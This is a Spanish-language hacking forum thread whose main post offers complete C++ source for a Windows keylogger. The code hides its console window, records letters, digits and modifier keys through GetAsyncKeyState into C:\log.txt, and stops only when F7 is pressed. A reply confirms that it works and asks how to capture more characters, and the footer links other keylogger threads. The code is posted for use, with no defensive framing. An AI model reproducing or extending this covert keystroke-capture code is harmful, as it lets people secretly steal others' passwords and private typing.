comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Keylogger en C++

  • 1 Respuestas
  • 5313 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Desconectado Jhonjhon_123

  • *
  • Underc0der
  • Mensajes: 150
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Jhonjhon_123's Software In Developed
« en: Febrero 23, 2010, 07:42:46 pm »
Aqui les dejo el Code:

Código: C++
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <fstream>
  4.  
  5. using namespace std;
  6.  
  7. int main(){
  8.  
  9. //Variable que determinará cuando cerrar el keylogger..
  10. bool aprete = true;
  11.  
  12. //Creamos y abrimos el fichero txt para escribir en el
  13. ofstream log;
  14. log.open("C:\\log.txt", ofstream::out);
  15.  
  16. //SI ocurre algun error con el archivo
  17. if(log.fail()){
  18. cout << "Error al abrir archivo log.txt en directorio raiz" << endl;
  19. }
  20.  
  21. //Ocultamos la ventanita (consola)
  22. HWND ocultar = FindWindow("ConsoleWindowClass",NULL);
  23. ShowWindow(ocultar,NULL);
  24.  
  25. //Inicia el ciclo
  26. while(aprete){
  27.  
  28. //Cuando se apriete una delas teclas, escribimos en el archivo de texto la tecla pulsada...
  29. if (GetAsyncKeyState(VK_SPACE) == -32767){
  30. log << " ";
  31. }
  32.  
  33. if (GetAsyncKeyState('A') == -32767){
  34. log << "A";
  35. }
  36.  
  37. if (GetAsyncKeyState('B') == -32767){
  38. log << "B";
  39. }
  40.  
  41. if (GetAsyncKeyState('C') == -32767){
  42. log << "C";
  43. }
  44.  
  45. if (GetAsyncKeyState('D') == -32767){
  46. log << "D";
  47. }
  48.  
  49. if (GetAsyncKeyState('E') == -32767){
  50. log << "E";
  51. }
  52.  
  53. if (GetAsyncKeyState('F') == -32767){
  54. log << "F";
  55. }
  56.  
  57. if (GetAsyncKeyState('G') == -32767){
  58. log << "G";
  59. }
  60.  
  61. if (GetAsyncKeyState('H') == -32767){
  62. log << "H";
  63. }
  64.  
  65. if (GetAsyncKeyState('I') == -32767){
  66. log << "I";
  67. }
  68.  
  69. if (GetAsyncKeyState('J') == -32767){
  70. log << "J";
  71. }
  72.  
  73. if (GetAsyncKeyState('K') == -32767){
  74. log << "K";
  75. }
  76.  
  77. if (GetAsyncKeyState('L') == -32767){
  78. log << "L";
  79. }
  80.  
  81. if (GetAsyncKeyState('M') == -32767){
  82. log << "M";
  83. }
  84.  
  85. if (GetAsyncKeyState('N') == -32767){
  86. log << "N";
  87. }
  88.  
  89. if (GetAsyncKeyState(VK_CAPITAL) == -32767){
  90. log << " Mayus-";
  91. }
  92.  
  93. if (GetAsyncKeyState(VK_BACK) == -32767){
  94. log << " BACKSPACE ";
  95. }
  96.  
  97. if (GetAsyncKeyState('O') == -32767){
  98. log << "O";
  99. }
  100.  
  101. if (GetAsyncKeyState('P') == -32767){
  102. log << "P";
  103. }
  104.  
  105. if (GetAsyncKeyState('Q') == -32767){
  106. log << "Q";
  107. }
  108.  
  109. if (GetAsyncKeyState('R') == -32767){
  110. log << "R";
  111. }
  112.  
  113. if (GetAsyncKeyState('S') == -32767){
  114. log << "S";
  115. }
  116.  
  117. if (GetAsyncKeyState('T') == -32767){
  118. log << "T";
  119. }
  120.  
  121. if (GetAsyncKeyState('U') == -32767){
  122. log << "U";
  123. }
  124.  
  125. if (GetAsyncKeyState('V') == -32767){
  126. log << "V";
  127. }
  128.  
  129. if (GetAsyncKeyState('W') == -32767){
  130. log << "W";
  131. }
  132.  
  133. if (GetAsyncKeyState('X') == -32767){
  134. log << "X";
  135. }
  136.  
  137. if (GetAsyncKeyState('Y') == -32767){
  138. log << "Y";
  139. }
  140.  
  141. if (GetAsyncKeyState('Z') == -32767){
  142. log << "Z";
  143. }
  144.  
  145. if (GetAsyncKeyState(VK_RETURN) == -32767){
  146. log << endl;
  147. }
  148.  
  149. if (GetAsyncKeyState('1') == -32767){
  150. log << "1";
  151. }
  152.  
  153. if (GetAsyncKeyState('2') == -32767){
  154. log << "2";
  155. }
  156.  
  157. if (GetAsyncKeyState('3') == -32767){
  158. log << "3";
  159. }
  160.  
  161. if (GetAsyncKeyState('4') == -32767){
  162. log << "4";
  163. }
  164.  
  165. if (GetAsyncKeyState('5') == -32767){
  166. log << "5";
  167. }
  168.  
  169. if (GetAsyncKeyState('6') == -32767){
  170. log << "6";
  171. }
  172.  
  173. if (GetAsyncKeyState('7') == -32767){
  174. log << "7";
  175. }
  176.  
  177. if (GetAsyncKeyState('8') == -32767){
  178. log << "8";
  179. }
  180.  
  181. if (GetAsyncKeyState('9') == -32767){
  182. log << "9";
  183. }
  184.  
  185. if (GetAsyncKeyState('0') == -32767){
  186. log << "0";
  187. }
  188.  
  189. if (GetAsyncKeyState(VK_LSHIFT) == -32767){
  190. log << " SHIFT-";
  191. }
  192.  
  193. if (GetAsyncKeyState(VK_MENU) == -32767){
  194. log << " ALT-";
  195. }
  196.  
  197. if (GetAsyncKeyState(VK_F7) == -32767){
  198. ShowWindow(ocultar,1); //Si aprietan F7 se detiene el keylogger..
  199. aprete = false;
  200. }
  201. }
  202.  
  203. //Cerramos el archivo log.txt
  204. log.close();
  205.  
  206. //Mamonada para salir del programa........
  207. cout << "-----------------------------------------" << endl << "ARCHIVO log.txt CREADO CON EXITO!" << endl;
  208.  
  209. system("pause");
  210. }

By l00l
« Última modificación: Febrero 08, 2014, 05:48:30 pm por Expermicid »
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado maximus

  • *
  • Underc0der
  • Mensajes: 6
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Mayo 26, 2011, 06:11:16 pm »
Hola!

Esta muy bueno el código y me funciono al 100% pero tengo unas cuantas dudas:

como hago para que el KeyLogger reconozca la tecla "Ñ"?

ademas de los caracteres especiales así como el  punto, coma, guión?

lo otro, es que lo escribí completo tal cual estaba y me daba un error de compilación, pero si lo copiaba y pegaba directamente, me compilaba sin problemas.

de ante mano, muchas gracias :)


 

¿Te gustó el post? COMPARTILO!



Detectar teclas presionadas por HOOKS (Keylogger base)

Iniciado por linkgl

Respuestas: 2
Vistas: 3138
Último mensaje Agosto 20, 2011, 12:28:05 pm
por linkgl
Keylogger basico

Iniciado por @ed33x

Respuestas: 4
Vistas: 3546
Último mensaje Mayo 18, 2011, 02:39:02 pm
por Snifer
Keylogger C

Iniciado por mrobles

Respuestas: 4
Vistas: 2779
Último mensaje Junio 04, 2011, 05:22:04 am
por mrobles